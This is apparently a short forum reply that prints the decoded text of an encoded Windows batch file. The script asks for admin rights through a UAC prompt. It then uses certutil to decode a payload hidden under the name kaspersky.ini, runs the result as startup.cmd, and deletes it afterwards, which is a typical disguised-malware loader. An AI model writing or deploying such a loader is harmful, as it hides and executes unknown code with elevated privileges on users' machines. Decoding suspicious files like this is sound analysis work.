yeah is encoded in ANSI (Windows 1252)
the decoded version is:
Echo off
: : Compiled By ShweScorpion
Echo off
REM :: BatchGotAdmin
REM ::-------------------------------------
REM --> Check for permissions
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
echo Requesting administrative privileges...
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
set params = %*:"="
echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
del "%temp%\getadmin.vbs"
exit /B
:gotAdmin
pushd "%CD%"
CD /D "%~dp0"
REM ::--------------------------------------
setlocal enabledelayedexpansion
set encoded=kaspersky.ini
set decoded=startup.cmd
certutil -f -decode "%encoded%" "%decoded%" >nul 2>&1
if not exist "%decoded%" (
echo Error: decoding failed. "%decoded%" was not created.
pause
exit /b
)
call "%decoded%"
del /f /q "%decoded%" >nul 2>&1
endlocal
